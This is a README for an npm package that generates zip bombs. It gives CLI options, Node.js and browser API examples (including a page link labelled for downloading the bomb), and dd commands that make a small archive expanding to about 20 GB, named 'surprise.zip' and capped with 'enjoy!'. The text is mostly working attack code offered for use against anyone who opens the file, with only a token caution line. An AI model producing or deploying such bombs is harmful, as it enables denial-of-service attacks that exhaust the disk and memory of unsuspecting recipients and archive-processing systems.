CAUTION THIS IS JUST AN EXPERIMENT. USE THIS AT YOUR OWN RISK. READ MORE ABOUT ZIP BOMB HERE.
Zip bomb for Browser and Node.js.
npm install zip-bomb
Checkout API usage.
npm install -g zip-bomb
Usage: zip-bomb [options]
Options:
-h, --help output usage information
-V, --version output the version number
-b, --zero-buffer-size <number> Zero buffer size
-l, --buffer-level <number> Buffer multiplier
-z, --zip-level <number> Level
-o, --output <file> Output file
Example:
zip-bomb -b 10485760 -l 10 -z 50 -o surprise.zip
Creates ZIP file Buffer
.
returns
Promise
zeroBufferSize
- can be
Number
- creates buffer of 0s with provided size
- can be
bufferLevel
- can be
Number
- multiplies created buffer with zeros with provided buffer level
- can be
zipLevel
- creates zip
zeroBufferSize * bufferLevel
zeros of provided zip level
- creates zip
Creates DataURL
(for use in browsers)
returns
Promise
Same as zipBomb.createDataURL(bufferMultiplier, level)
const fs = require('fs')
const zb = require('zip-bomb')
const fileName = 'zipbomb.zip'
zb.createBuffer(1024 * 1024 * 10, 10, 10)
.then((buffer) => {
fs.writeFile(fileName, buffer, (err) => {
if (err) throw err
console.log(`${fileName} is created`)
})
})
WARNING
zipbomb.zip
file is evil!
const zb = require('zip-bomb')
zb.createDataURL(1024 * 1024 * 10, 10, 10)
.then((dataURL) => {
const a = document.createElement('a')
const linkText = document.createTextNode('Click here to download zip bomb')
a.appendChild(linkText)
a.href = dataURL
document.body.appendChild(a)
})
.catch((e) => console.error(e))
Embed bundled file into an HTML page and click on the link to download generated zip bomb!
Or open /example/index.html folder in browser.
Enable debug logs by setting the DEBUG
environment variable.
DEBUG=zip-bomb*
Enable debug logs by running this in the developer console.
localStorage.debug = 'zip-bomb*'
and then reload.
dd if=/dev/zero bs=1000 count=20000000 | zip surprise.zip -
or
dd if=/dev/zero bs=1000 count=20000000 | gzip > surprise.gz
Creates around 19 MB
file that extracts to around 20 GB
file. Keep increasing the count and enjoy!
npm test
standard
only for now. More to come.
MIT